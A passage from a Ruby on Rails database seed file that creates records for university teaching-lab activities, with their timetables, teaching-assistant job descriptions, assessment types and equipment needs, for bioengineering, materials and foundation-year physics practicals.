ActivityTech.where(activity_id: a516.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 1), tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a516.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a517 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE291\").first.id, code: \"328\").first_or_create!(name: \"Physiological testing 2: Investigating physiological signals\",\n name_abrv: \"PHYTEST2\", archived: false, in_drive: false, user_id: 4)\n at517 = ActivityTimetable.where(activity_id: a517.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 8, pref_room_id: $room_vr.id,\n same_as_prev_year: true, series_setup_time: 10, setup_time: 30, takedown_time: 30, notes: \"Investigating physiological signals to follow ECG.\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a517.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a517.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"Investigating physiological responses using virtual reality - using the ADInstruments PowerLab hardware and LabChart software.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 20, staff_ratio: nil)\n ActivityAssess.where(activity_id: a517.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a517.id).first_or_create!(cost_per_student: nil, equip_needed: \"ADInstruments kits, laptops, Oculus Rift headsets, VAR computers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a517.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a518 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"329\").first_or_create!(name: \"Pipetting and spectrophotometry\",\n name_abrv: \"PIP&SPEC\", archived: false, in_drive: false, user_id: 2)\n at518 = ActivityTimetable.where(activity_id: a518.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at518.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a518.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a518.id).first_or_create!(criteria: \"Competent user of micropipettes and motorised pipettors. Basic spectrophotometry. Understanding of Enzymes desirable.\",\n job_desc:\"Using micropipettes and motorized pipette aids. Investigating the effect of pH on enzyme activity of aryl sulphatase by measuring the absorbance of nitrocatechol.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a518.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a518.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, balances, motorised and micropipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a518.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a519 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"330\").first_or_create!(name: \"Polymers and hydrogels\",\n name_abrv: \"POLY&HYDROGELS\", archived: false, in_drive: false, user_id: 2)\n at519 = ActivityTimetable.where(activity_id: a519.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 25, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at519.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a519.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a519.id).first_or_create!(criteria: \"Understaning the propeties of polymers. Knowldge of their application in tissue engineering is desirable.\",\n job_desc:\"Investigating the properties of polymers, including hydrogels, and immobilizing yeast in alginate beads.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a519.id).first_or_create!(assess_weight: nil, notes: \"Post is short essay\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a519.id).first_or_create!(cost_per_student: nil, equip_needed: \"Balances, gas syringes, clamps and stands, water baths\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 2, 27), tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a519.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a520 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"331\").first_or_create!(name: \"Practical exam\",\n name_abrv: \"PRACEXAM\", archived: false, in_drive: false, user_id: 3)\n at520 = ActivityTimetable.where(activity_id: a520.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 15, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at520.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a520.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a520.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a520.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a520.id).first_or_create!(cost_per_student: nil, equip_needed: \"Plate reader, static incubator, pipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a520.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a521 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1410\").first.id, code: \"332\").first_or_create!(name: \"Protein detection\",\n name_abrv: \"PROTEIN\", archived: false, in_drive: false, user_id: 2)\n at521 = ActivityTimetable.where(activity_id: a521.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 75, setup_time: 150, takedown_time: 60, notes: \"protein dection must be after pipetting.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at521.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a521.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a521.id).first_or_create!(criteria: \"Competent user of micropipettes. Understanding of basic spectrophotometry, serial dilution and replicates.\",\n job_desc:\"Using the BCA assay to quantify protein in 5 biological samples.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 10, staff_ratio: nil)\n ActivityAssess.where(activity_id: a521.id).first_or_create!(assess_weight: nil, notes: \"Data interpretation, graph and calculations.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a521.id).first_or_create!(cost_per_student: nil, equip_needed: \"Micropipettes, plate reader/s, computer\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 7, 19), tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a521.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a522 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"333\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: false, in_drive: false, user_id: 1)\n at522 = ActivityTimetable.where(activity_id: a522.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 6, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a522.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a522.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a522.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a522.id).first_or_create!(cost_per_student: nil, equip_needed: \"SEM, FTIR, sample materials\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a522.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a523 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"333\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: true, in_drive: false, user_id: 4)\n at523 = ActivityTimetable.where(activity_id: a523.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a523.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a523.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a523.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a523.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a523.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a524 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"334\").first_or_create!(name: \"Superhydrophobic surfaces\",\n name_abrv: \"SUPERSURF\", archived: false, in_drive: false, user_id: 2)\n at524 = ActivityTimetable.where(activity_id: a524.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 25, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at524.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a524.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a524.id).first_or_create!(criteria: \"Knowledge of the hydrophilic and hydrophobic nature of materials and how this property is applied in tissue engineering/medical implants & devices.\",\n job_desc:\"Making a superhydrophobic surface and investigating hydrophilicity and hydrophobicity of materials (water contact angle)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a524.id).first_or_create!(assess_weight: nil, notes: \"Post is short essay\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a524.id).first_or_create!(cost_per_student: nil, equip_needed: \"LEV, micropipetees, contact angle measurers, digital cameras\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 2), tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a524.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a525 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"335\").first_or_create!(name: \"Tensile testing of nylon\",\n name_abrv: \"NYLONTEST\", archived: false, in_drive: false, user_id: 4)\n at525 = ActivityTimetable.where(activity_id: a525.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 120, notes: \"This is one of 3 experiments for this module.\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a525.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a525.id).first_or_create!(criteria: \"Experience of tensile testing and use of Shimadzu testing frames is desirable.\",\n job_desc:\"Tensile testing of nylon and polypropylene using Shimadzu testing frames and FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a525.id).first_or_create!(assess_weight: nil, notes: \"Assessed during lab session\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a525.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a525.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a526 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE201\").first.id, code: \"336\").first_or_create!(name: \"Building a Bioreactor\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at526 = ActivityTimetable.where(activity_id: a526.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Mobile units of parts so can work in any lab with 80 capactity and flat space\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a526.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a526.id).first_or_create!(criteria: \"Electronics and coding, culture of algae, using bioreactors, carrying out biochemical assays.\",\n job_desc:\"In teams of 5, students will build a bioreactor for culturing the green micro-algae, Dunaliella salina, using a range of electronic components to control heating, stirring and pH. Dunaliella salina will be cultured in a range of salt solutions and the production of glycerol measured. This will take place over 6x 2 hour lab sessions.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a526.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a526.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a526.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a529 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE6413\").first.id, code: \"33\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"\", archived: true, in_drive: false, user_id: 2)\n at529 = ActivityTimetable.where(activity_id: a529.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_vr.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a529.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a529.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a529.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a529.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a529.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a530 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE6410\").first.id, code: \"340\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"\", archived: true, in_drive: false, user_id: 5)\n at530 = ActivityTimetable.where(activity_id: a530.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_vr.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a530.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a530.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a530.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a530.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a530.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a531 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode10\").first_or_create!(name: \"Simple Harmonic Motion\",\n name_abrv: \"SHM\", archived: false, in_drive: false, user_id: 5)\n at531 = ActivityTimetable.where(activity_id: a531.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at531.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a531.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a531.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a531.id).first_or_create!(assess_weight: 3.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a531.id).first_or_create!(cost_per_student: nil, equip_needed: \"U-tube boards, water, funnels, 1m rule, stop watch, vernier calipers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a531.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a532 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode11\").first_or_create!(name: \"Velocity & Drag\",\n name_abrv: \"VEL_DRAG\", archived: false, in_drive: false, user_id: 1)\n at532 = ActivityTimetable.where(activity_id: a532.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"Cannot be timetabled with another lab as the students need ear protectors\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a532.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a532.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a532.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a532.id).first_or_create!(cost_per_student: nil, equip_needed: \"Armfield wind tunnels\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a532.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a533 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode12\").first_or_create!(name: \"Waves\",\n name_abrv: \"WAVES\", archived: false, in_drive: false, user_id: 5)\n at533 = ActivityTimetable.where(activity_id: a533.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at533.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a533.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a533.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: nil)\n ActivityAssess.where(activity_id: a533.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a533.id).first_or_create!(cost_per_student: nil, equip_needed: \"water trays, water, jugs, dyes, stop watch, 1m rule, vernier calipers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a533.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a534 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode13\").first_or_create!(name: \"Motion & Energy\",\n name_abrv: \"MOTION\", archived: false, in_drive: false, user_id: 3)\n at534 = ActivityTimetable.where(activity_id: a534.id).first_or_create!(duration: 105, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at534.id, room_id: $room_fl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a534.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a534.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a534.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a534.id).first_or_create!(cost_per_student: nil, equip_needed: \"Galileo track, 3 spheres, 1m rule, stop watches, pens\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a534.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a535 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode14\").first_or_create!(name: \"Catapult Challenge\",\n name_abrv: \"CATAPULT\", archived: false, in_drive: false, user_id: 2)\n at535 = ActivityTimetable.where(activity_id: a535.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at535.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a535.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a535.id).first_or_create!(criteria: \"Safety of hand tools\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a535.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a535.id).first_or_create!(cost_per_student: nil, equip_needed: \"PUPs, material\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a535.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a536 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode15\").first_or_create!(name: \"Data Visualisation\",\n name_abrv: \"DATAVIS\", archived: false, in_drive: false, user_id: 2)\n at536 = ActivityTimetable.where(activity_id: a536.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 2, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 120, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a536.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a536.id).first_or_create!(criteria: \"experience of Excel\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a536.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a536.id).first_or_create!(cost_per_student: nil, equip_needed: \"n/a\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a536.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a537 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode16\").first_or_create!(name: \"Matlab Visualisation\",\n name_abrv: \"MATVIS\", archived: false, in_drive: false, 